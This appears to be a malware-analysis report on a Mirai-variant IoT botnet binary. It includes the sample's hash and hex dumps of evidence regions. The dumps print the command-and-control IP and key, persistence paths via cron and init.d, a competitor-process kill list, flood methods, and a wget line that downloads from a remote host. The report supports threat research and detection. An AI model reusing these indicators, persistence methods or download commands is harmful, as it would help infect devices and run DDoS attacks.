Hostile ^100% Download

790d57f1dfe8de58.bin

Mirai botnet with C2 and brute force

Mirai IoT bot with DDoS and raw-IP controlC++ PAN-OS kworker masquerade

SHA-256790d57f1dfe8de58499518e2c25848aaa2424989e2186d960f6ddf95487b02ab

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK₂(Am₂Mc₂)O₈(Er₇I₃La₃AlAs₂C₄P₃Dy)H₆(Cm₁₅Cr₇Db₂F₁₀Os₃Po₃)Md₄(Bi₂He)Th

Evidence

Native stack immediate byte-string fragment 0xbfe–0xcce

⋯3 more rows
0xc2efeffff80bdccfdffff050f85b7feffff................
0xc3ec645de05c645df01c645e000c645e101.E...E...E...E..
0xc4e89d8c1e8188845e289d8c1e8108845e3......E.......E.
0xc5e89d8c1e8088845e4885de58b85b8fdff......E..]......
⋯7 more rows

C++ PAN-OS kworker comm name 0x52c4f–0x52f3f

⋯4 more rows
0x52c8fc3000000000000000000000000000000................
0x52c9f002f70726f632f73656c662f65786500./proc/self/exe.
0x52caf2f746d702f2e71763362002f7661722f/tmp/.qv3b./var/
0x52cbf72756e2f2e71763362002f7573722f6crun/.qv3b./usr/l
0x52ccf69622f2e71763362002f6574632f7263ib/.qv3b./etc/rc
0x52cdf2e6c6f63616c000a2f746d702f2e7176.local../tmp/.qv
0x52cef336220260a002f6574632f63726f6e2e3b &../etc/cron.
0x52cff642f7176336200407265626f6f742072d/qv3b.@reboot r
0x52d0f6f6f74202f746d702f2e717633620a00oot /tmp/.qv3b..
0x52d1f2f6574632f696e69742e642f71763362/etc/init.d/qv3b
0x52d2f002f6574632f726325642e642f533930./etc/rc%d.d/S90
⋯5 more rows
0x52d8f366c00616172636836340061726d36346l.aarch64.arm64
0x52d9f006d697073006d697073656c00707063.mips.mipsel.ppc
0x52daf00706f77657270630073683400783836.powerpc.sh4.x86
⋯8 more rows
0x52e3f504f53540048454144004f5054494f4ePOST.HEAD.OPTION
0x52e4f53005055540050415443480044454c45S.PUT.PATCH.DELE
0x52e5f544500474554002f70726f632f73656cTE.GET./proc/sel
0x52e6f662f7374617475730054726163657250f/status.TracerP
0x52e7f69643a00434e435f4950003231372e36id:.CNC_IP.217.6
0x52e8f302e3139352e31383700434e435f504f0.195.187.CNC_PO
0x52e9f52540061706578342d63322d4b33792dRT.apex4-c2-K3y-
0x52eaf3230323600767073002f70726f632f732026.vps./proc/s
0x52ebf656c662f636f6d6d00382e382e382e38elf/comm.8.8.8.8
0x52ecf00717633625f6c6f636b5f3966336100.qv3b_lock_9f3a.
⋯3 more rows
0x52f0f696e757820257320256420256c752025inux %s %d %lu %
0x52f1f6c750050494e4700504f4e470073746flu.PING.PONG.sto
0x52f2f70007070730067616d6500646973636fp.pps.game.disco
0x52f3f72640072616b6e657400767365007473rd.raknet.vse.ts

XMRig miner reference 0x5dd69–0x5e059

⋯3 more rows
0x5dd99382e3139312e302e34373a34313435008.191.0.47:4145.
0x5dda92f746d702f71746d002f746d702f6b75/tmp/qtm./tmp/ku
0x5ddb973686e6574002f746d702f6563686f00shnet./tmp/echo.
0x5ddc92f746d702f7761746368646f672e6269/tmp/watchdog.bi
0x5ddd96e002f746d702f786d726967002f746dn./tmp/xmrig./tm
0x5dde9702f6b646576746d70667369002f746dp/kdevtmpfsi./tm
0x5ddf9702f6b696e73696e67002f7661722f74p/kinsing./var/t
0x5de096d702f626f61746e657400736f667462mp/boatnet.softb
0x5de196f74007473756e616d69006b61697465ot.tsunami.kaite
0x5de296e0071626f74006563686f626f740063n.qbot.echobot.c
0x5de39626f7400626173686c697465006d6f62bot.bashlite.mob
0x5de496f74006578706c6f69745f7363616e00ot.exploit_scan.
⋯4 more rows
0x5de996b776f726b6572647300786d72696732kworkerds.xmrig2
0x5dea900786d7269672d6461656d6f6e006d6f.xmrig-daemon.mo
0x5deb96e65726f006d6f6e65726f64006d696enero.monerod.min
0x5dec9657264006370756d696e6572006e616eerd.cpuminer.nan
0x5ded96f6d696e6572006e6865716d696e6572ominer.nheqminer
⋯7 more rows
0x5df59736800696e666563742e736800706179sh.infect.sh.pay
0x5df696c6f61642e73680000000023212f6269load.sh....#!/bi
0x5df796e2f73680a6361736520222431222069n/sh.case "$1" i
0x5df896e20737461727429202f746d702f2e71n start) /tmp/.q
0x5df997633622026203b3b202a29203b3b2065v3b & ;; *) ;; e
0x5dfa97361630a000000434f4e4e4543542025sac....CONNECT %
0x5dfb9752e25752e25752e25753a2575204854u.%u.%u.%u:%u HT
0x5dfc954502f312e310d0a486f73743a202575TP/1.1..Host: %u
0x5dfd92e25752e25752e25753a25750d0a5072.%u.%u.%u:%u..Pr
⋯5 more rows
0x5e03938373b20503d25643b2028776765742087; P=%d; (wget 
0x5e0492d71202d4f207120687474703a2f2f77-q -O q http://w
0x5e059656d716d65776b716577712e776f726bemqmewkqewq.work

Source Engine query payload 0x5e8b0–0x5eba0

⋯3 more rows
0x5e8e02e3233302e3134313a31383530300000.230.141:18500..
0x5e8f04d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x5e900646f7773204e542031302e303b205769dows NT 10.0; Wi
0x5e9106e36343b2078363429204170706c6557n64; x64) AppleW
0x5e92065624b69742f3533372e333620284b48ebKit/537.36 (KH
0x5e930544d4c2c206c696b65204765636b6f29TML, like Gecko)
0x5e940204368726f6d652f3132312e302e302e Chrome/121.0.0.
0x5e95030205361666172692f3533372e3336000 Safari/537.36.
0x5e9604d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x5e970646f7773204e542031302e303b205769dows NT 10.0; Wi
0x5e9806e36343b207836343b2072763a313232n64; x64; rv:122
0x5e9902e3029204765636b6f2f323031303031.0) Gecko/201001
0x5e9a030312046697265666f782f3132322e3001 Firefox/122.0
0x5e9b0000000004d6f7a696c6c612f352e3020....Mozilla/5.0 
0x5e9c0284d6163696e746f73683b20496e7465(Macintosh; Inte
0x5e9d06c204d6163204f5320582031305f3135l Mac OS X 10_15
0x5e9e05f3729204170706c655765624b69742f_7) AppleWebKit/
0x5e9f03533372e333620284b48544d4c2c206c537.36 (KHTML, l
0x5ea00696b65204765636b6f29204368726f6dike Gecko) Chrom
0x5ea10652f3132312e302e302e302053616661e/121.0.0.0 Safa
0x5ea2072692f3533372e33360000004d6f7a69ri/537.36...Mozi
0x5ea306c6c612f352e3020285831313b204c69lla/5.0 (X11; Li
0x5ea406e7578207838365f363429204170706cnux x86_64) Appl
0x5ea50655765624b69742f3533372e33362028eWebKit/537.36 (
0x5ea604b48544d4c2c206c696b65204765636bKHTML, like Geck
0x5ea706f29204368726f6d652f3132312e302eo) Chrome/121.0.
0x5ea80302e30205361666172692f3533372e330.0 Safari/537.3
0x5ea90360000004d6f7a696c6c612f352e30206...Mozilla/5.0 
0x5eaa0286950686f6e653b2043505520695068(iPhone; CPU iPh
0x5eab06f6e65204f532031375f33206c696b65one OS 17_3 like
0x5eac0204d6163204f53205829204170706c65 Mac OS X) Apple
0x5ead05765624b69742f3630352e312e313520WebKit/605.1.15 
0x5eae0284b48544d4c2c206c696b6520476563(KHTML, like Gec
0x5eaf06b6f292056657273696f6e2f31372e32ko) Version/17.2
0x5eb00204d6f62696c652f3135453134382053 Mobile/15E148 S
0x5eb1061666172692f3630342e31004d6f7a69afari/604.1.Mozi
0x5eb206c6c612f352e3020284c696e75783b20lla/5.0 (Linux; 
⋯6 more rows
0x5eb90360000000000000000000000000000006...............
0x5eba0ffffffff54536f7572636520456e6769....TSource Engi

HTTP/2 client connection preface 0x60904–0x60a24

⋯5 more rows
0x60954b4690a082c6a0a08946a0a081c6b0a08.i..,j...j...k..
0x60964505249202a20485454502f322e300d0aPRI * HTTP/2.0..
0x609740d0a534d0d0a0d0a0000000408000000..SM............
⋯11 more rows